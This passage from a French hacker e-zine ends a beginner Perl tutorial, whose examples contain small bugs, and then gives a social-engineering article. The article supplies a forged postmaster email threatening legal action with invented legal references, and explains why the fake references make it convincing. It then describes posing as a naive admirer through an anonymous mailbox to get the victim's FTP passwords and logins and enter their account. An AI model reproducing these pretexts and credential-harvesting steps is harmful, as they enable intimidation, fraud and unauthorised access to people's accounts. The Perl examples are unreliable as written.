   print "Le nombre vaut 10"; 
   } 
elseif($nombre==12) 
   { 
   print "Le nombre vaut 11"; 
   } 
else 
   { 
   print "Le nombre ne vaut pas 10 ni 11"; 
   } 

 for 
 -=- 
for est une boucle qui fait ce qui est dans le for 
(entre les parentheses { et }) tant que la valeur 
initiale n'est pas atteinte. La syntaxe de for est 
comme en C : 

for(valeur initiale;valeur finale;valeur d'incrementation) 
   { 
   instruction a faire tant que la valeur finale n'est 
   pas atteinte vont ici 
   } 

Exemple: 

for($nombre;$nombre<=10;$nombre++) 
   { 
   print "Salut\n"; 
   } 


 while 
 -=-=- 
while signifie tant que, while est semblable a for, 
while fait tout ce qui est entre ces parentheses tant 
que l'expression est vraie. Sa syntaxe est : 

while(expression) 
   { 
   instruction a faire ici 
   } 

Exemple : 

$nombre = 1; 
while($nombre != 10) 
   { 
   $nombre++; 
   } 

while ici ne fait rien sinon d'ajouter un ( +1 ) dans 
$nombre jusqu'a temps qu'il soit egal a 10 (pcq dans 
l'expression du while est tant que $nombre est 
different a 10, faire ...) 


Saisie de clavier (avec STDIN) 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 
La saisie se termine avec un ENTER. La syntaxe est : 

$variable = <STDIN>; 

Exemple : 

-------Code------------ 

#!/usr/bin/perl 
$age = <STDIN>; 
print "Tu as $age ans"; 

----Fin du code-------- 

Lors de l'execution, on obtiens (Dans cet exemple, 
je vais rentrer 16) 

[birkoss@QHA birkoss]$ chmod 755 test.pl 
[birkoss@QHA birkoss]$ ./test.pl 
16 
Tu as 16 
ans[birkoss@QHA birkoss]$ 

Comme tu peux voir, un retour chariot (Celui que tu 
utilises pour terminer la saisie) est a la fin de la 
chaine. Pour l'oter, va voir plus loin dans la section chop. 

syste
m 
-=-=-= 
La commande system est identique en C. Elle sert a faire 
une commmande du systeme d'exploitation. Syntaxe : 

system("commande"); 

Exemple : 

system("ls"); 

cela affiche le contenus du repertoire ou le script est 

system("vi qha.txt"); 

cela cree (ou ouvre si il deja creer) le fichier qha.txt avec vi 

chop 
-=-= 
La commande chop sert a oter le dernier caractere d'une 
chaine. (Tres utile pour oter le retour chariot d'un variable 
saisie avec STDIN). Sa syntaxe : 

chop($variable); 

Exemple : 

#!/usr/bin/perl 
$nick=<STDIN>; 
chop($nick); #pour oter le retour chariot 
print "$nick"; 
chop($nick); #pour oter le dernier caractere entrer 
print "$nick"; 

chr 
-=- 
La fonction chr sert a convertir un entier en ASCII. 
La syntaxe est : 

$variable=chr(entier); 

Exemple : 

#!/usr/bin/perl 
$test=chr(69); 
print "$test"; 

Cela va afficher : E 

length 
-=-=-= 
Cette commande sert a compter le nombre de caractere d'une 
variable. Sa syntaxe est : 

$variable=length($autre); 

Exemple : 

$lo = "SALUT"; 
$longueur=length($lo); # $longueur vaut 5 

C'est tout pour le moment, mais un autre article va suivre. 

Birkoss 


`,,`,,`,,``,,`,,`,














                     _        ______________________        _
-*9*-                 `^*;:,.>  L'ethique du SE   <.,:;*^`
_____________________________/  By T. H. C.   \___________________________
`,,`,,`,,``,,`,,`,



L'Ethik Social Engeneering ou Comment calmer un pote 
----------------------------------------------------

	 "La marquise de sade avait un modem, et elle savait 
	 qu'elle serait morte avant de pouvoir s'en servir 
	 faute de reseau... Faut il blamer france telecom ? "

Cet article n'a rien d'un mode d'emploi pour jouer a zorro, 
Il s'agit d'un exercice de style bas sur une experience 
vcue par t. h. et c. et qui selon eux valait le coup d'etre 
mise en doc. 
On se veut demonstratifs avant tout de l'etat de vulnerabilite
dans lequel tout cybernaute accoutum se trouve. On y dnonce
la naivet rcursive qui en est issue.

A noter que dans ce cadre, la victime ne perd pas grand chose 
d'autre qu'une partie de son orgueil et peut etre aussi un peu 
de sa vanit, d'ailleurs l'emploi de ce terme est surtout generique 
pour souligner la relation cre avec le complice et soi meme (et
surtout pour donner un sens a cette phrase qui commence a 
gravement tirer en longueur et a jeter le trouble sur la raison
originale de son existense).
Alors sentez vous libre d'interpreter ce texte comme il vous
plait, les degats qu'il pourrait occasionner sont calculs et
ont certainement moins de repercussions sur le mental 
qu'une emission d'ardisson (toute verite est bonne a dire?).


Abstrait
--------
 Predominance sur l'information, les consequences
	Dans un esprit d'ethique pratique sans onde de 
	choc il est preferable de ne pas appliquer 
	gratuitement ce procd sans que la victime ne 
	l'ait pas explicitement demand.

 Un outil de segregation ?
	Toute activit qui consiste a faire agir autrui 
	d'une maniere selon laquelle il n'agirait pas 
	normalement, et pour des raisons qui lui sont 
	etrangeres, est assimilable a de la manipulation.
	Ce genre de procd est en gnral tres mal 
	accueilli quand il est dcouvert. Neanmoins 
	certains candidats crdules acceptent de jouer 
	le jeu avec une spontanit galvanisante. 
		
 Un sac de briques	
	Pratiquer le SE a aussi des effets sur la 
	personnalit. Jouer des roles qui ne collent pas 
	forcement a l'acteur peut avoir des effets
	imprevisibles sur le comportement social dans le 
	rel, au dtriment du virtuel. 

Le complice
-----------
 Le choix du personnage
	Un complice peut devenir soit bourreau soit 
	victime, mais il ne restera jamais complice
	longtemps. Le remords ou le manque de remords
	vont le pousser a basculer vers un des deux
	autres roles. 
 Le choix du sexe
	La metamorphose du papillon est presque aussi 
	interessante que celles des batraciens, quoique
	plus demonstrative et plus esthetique. La 
	conjonction de ces deux evenemnts peut amener
	a jouer un role ambigu. Mieux vaut choisir deux
	personnages de sexe different pour conserver un
	semblant d'integrite dans le dialogue.
 Le choix de sophie 
	Le meme personnage devient bourreau, complice et
	victime en choisissant d'adopter un role feminin
	dans le but d'obtenir plus d'informations.
	

La victime
----------
 Predominance de l'ego sur la memoire 
	 Beaucoup de personnes ont tendance a confondre le web
	 avec la realite -grossiere erreur-, et a se comporter
	 exactement de la meme facon devant leur ordi que dans
	 leur vie prive. Le probleme c'est qu'un ordinateur
	 oublie plus difficilement qu'un etre humain. Les traces
	 laissees dans le subconscient des interactifs reels sont
	 negligeable quand on les compare aux sillons imperturbablement
	 designatifs qui inexorablement redessinent le profil 
	 social de leur facteur initiatique avec un realisme 
	 etrangement pouss ... 
 Demande explicite
	 Si le melange connaissance et maturit n'est pas quilibr 
	 chez la victime, on peut assister a des demonstrations 
	 inutiles de force numerique ayant pour symptomes l'apparition 
	 de greetings sur des sites dont l'entre a t dlibrment 
	 force, ce qui a tendance a retourner la situation...
	 Faut il reagir ?

Le Cas Pratique (et le bourreau):
---------------------------------
Voici la copie d'un mail qui est arrivee dans la boite d'une 
victime un peu trop engage sur la pente de la frime. 
--------------------------------------------
From:  postmaster@XXXXXXX.org
To:  h.@XXXXXX.org
Subject:  postmaster

Monsieur,

Suite a de nombreuses plaintes de la part de divers fournisseurs 
d'acces situes en europe et aux emirats arabes unis, nous avons 
fait un travail de recoupement et avons constat l'vidence de 
ces diverses intrusions. 
Tout porte a penser que ces intrusions ont ete faites a partir 
de votre compte. La loi europeene sur les systemes automatiss 
nous oblige a transmettre nos archives aux autorits comptentes 
en cas d'enquete judiciaire. 
Les preuves de ces informations ont ete transmises ce matin au 
bureau de Maitre Capello a Bruxelles.
Conformment a l'article L628 du code europeen, vous avez un 
dlai d'une semaine pour faire opposition sur les resolutions du 
conseil.

Cordialement

postmaster
---------------------------------------------



Analyse du courrier
-------------------
La presence de l'article L628 du code penal et de maitre Capello 
sont les deux seules choses qui donnent de l'authenticit (!) a ce 
petit jeu mdiatique pour allums de la connexion. Sans references 
administratives (meme bidons) le courrier perd de son impact et 
vous avec, ceci rendant la victime plus mefiante a l'avenir et 
rendant l'operation quasiment impossible a accomplir.
Le doute peut avoir un effet decisif s'il est control en temps 
rel, pour en repasser une couche (voir plus bas).. 
Un courrier d'intimidation etant rarement suffisant, il peut 
s'averer que la victime change de comportement et decide d'accepter 
d'etre un peu plus parano. 
On assiste alors a un deplacement des valeurs sur un plan virtuel 
au detriment du reel. La victime peut devenir agressive ou 
manifester des symptomes depressifs, mettant ainsi en evidence un
besoin affectif inconditionnel :

<victime>"merde je me sais fais pecho ;-("

Dans tous les cas les premiers soubresauts d'energie veille dans 
cette opration seront consacrs au doute, probablement a 
l'examination des headers du courrier. 

3 lignes dans le header peuvent trahir :

Received: (from www@nsp.gov)by domain.quelconque.fr 
(8.9.3/8.9.3 Savate Antispam Version) id XAA12761;Fri, 15 Sep 2000 
23:19:23 +0200 (CEST)
-----------------------------------------------------------------------------------


-Comment repasser une couche ?
------------------------------
Ouvrir un mail anonyme (sur yahoo ex:cyndia78@yahoo.fr), prendre 
contact avec la victime en faisant exagerement reference aux 
"prouesses" techniques ralises en manifestant un gout maladroit 
pour l'informatique, ne pas oublier de faire des fautes de frappe..
En quelques mails il est facile d'obtenir quelques pass de ftp et 
probablement meme un login personnel. 
Si tel est le cas il ne reste plus qu'a se logger sur le compte et 
a lire les infos comme nom, prenom, email, meme des infos bidons 
sont exploitables.
La paranoia est souvent contrebalance (ou motive) par une grande 
naivite et se manifeste parfois comme un etablissement de relation 
de confiance trop rapide envers des personnes inconnues.
C'est une arme autant qu'une faiblesse a laquelle malheureusement 
personne n'echappe dans ce cyber monde (meme les plus avertis).
Contre cela plusieurs armes : la desinformation, le port obligatoire 
du cyber masque, le jeu de role, le telephone arabe, les repas au 
castor, les suppos.



-Pourquoi YAAASE ? (Yet Another Article About Social Engineering)
_________________________________________________________________
He oui, encore un autre article sur le social engineering (on
n'arrivera pas a l'ecrire deux fois pareil), alors qu'il en 
existe deja plein d'autres qui sont beaucoup plus complets, que
cette discipline va se fondre dans un ocean de competences 
commerciales pour se faire appeler "conseil", "consulting" ou
"benchmark", abandonne son premier role innocent de canular
pour prendre un aspect malhonnete quand on lui prete les couleurs
de l'underground (ou l'absence de couleurs?) ou un apsect
prometteur quand il est associ a une cause officielle ou a une
startup (les exploiteurs se reconnaissent toujours), que ca nous
permet aussi de structurer des phrases toujours aussi longues et
interminablesm et enfin (et surtout) pour qu'on recommence a se
poser des questions sur l'origine de la phrase "trop 
d'information tue l'information"...


T+H+C (bourreaux, victimes et complices)


`,,`,,`,,``,,`,,`,







Voila c'est fini pour ce numero 24 qui a t un peu long a sortir, pour le 
prochain numro on vous peaufine un virus en php3 avec des capacites etonnnantes
ainsi que quelques nouveauts concernant les telephones mobiles....

Enjoy

tobozo


_________________________________________________________________________________
桢 桢  

                         -<\________________________/>-
   ~~    ~~    ~~    ~~    H A C K 0 F F ?    غ~~    ~~    ~~    ~~
~~    ~~    ~~    ~~    ~-</\>-~    ~~    ~~    ~~    ~~
   ~~    ~~    ~~    ~~      http://come.to/legang   ~   ~~    ~~    ~~    ~~
~~    ~~    ~~    ~~    ~~                            ~~    ~~   ~~    ~~    ~~
   ~~    ~~    ~~    ~    http://lasavate.tripod.com      ~~    ~~    ~~    ~~
~~    ~~    ~~    ~~    ~                              ~    ~~    ~~    ~~    ~~
...Des commentaires, des questions, des insultes, ecrivez aux membres du gang...
_________________________________________________________________________________
桢 桢  



    _____________________________________
    (((((((      H@CK-OFF !!     ))))))))
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~  ~   `   `   `  ~  ~
     ~  ~  | SE | - | RI | - | AL | ~  ~
    ~  ~   | SA | - | VA | - | TE |  ~  ~
     ~  ~  | SY | - | ST | - | EM | ~  ~
    ~  ~   ,,   ,,   ,,  ~  ~
     Cakeii - Tobozo - Yopyop - Silk - Nk
       Blured -  Misto!  - hertz - silk
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


     cakeii@usa.net
     courou@mail.com         {    \|/     
     >http://come.to/legang  8  -- * --
     >silk@silk.cut          {    /|\
     birkoss@yahoo.fr
     hal2001@nexen.net
     misto@bigfoot.com
     hertz@webmails.com
     tobozo@bigfoot.com
     sniffdoz@yahoo.com
     coolrasta@nexen.net
     blured75@hotmail.com
     ulysse31@madchat.org
     lansciac@caramail.com
    `,,`,,`,
   /   O o          O o          O o    \
   \    O            O            O     /
    ,,`,,`,,
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



[EOF]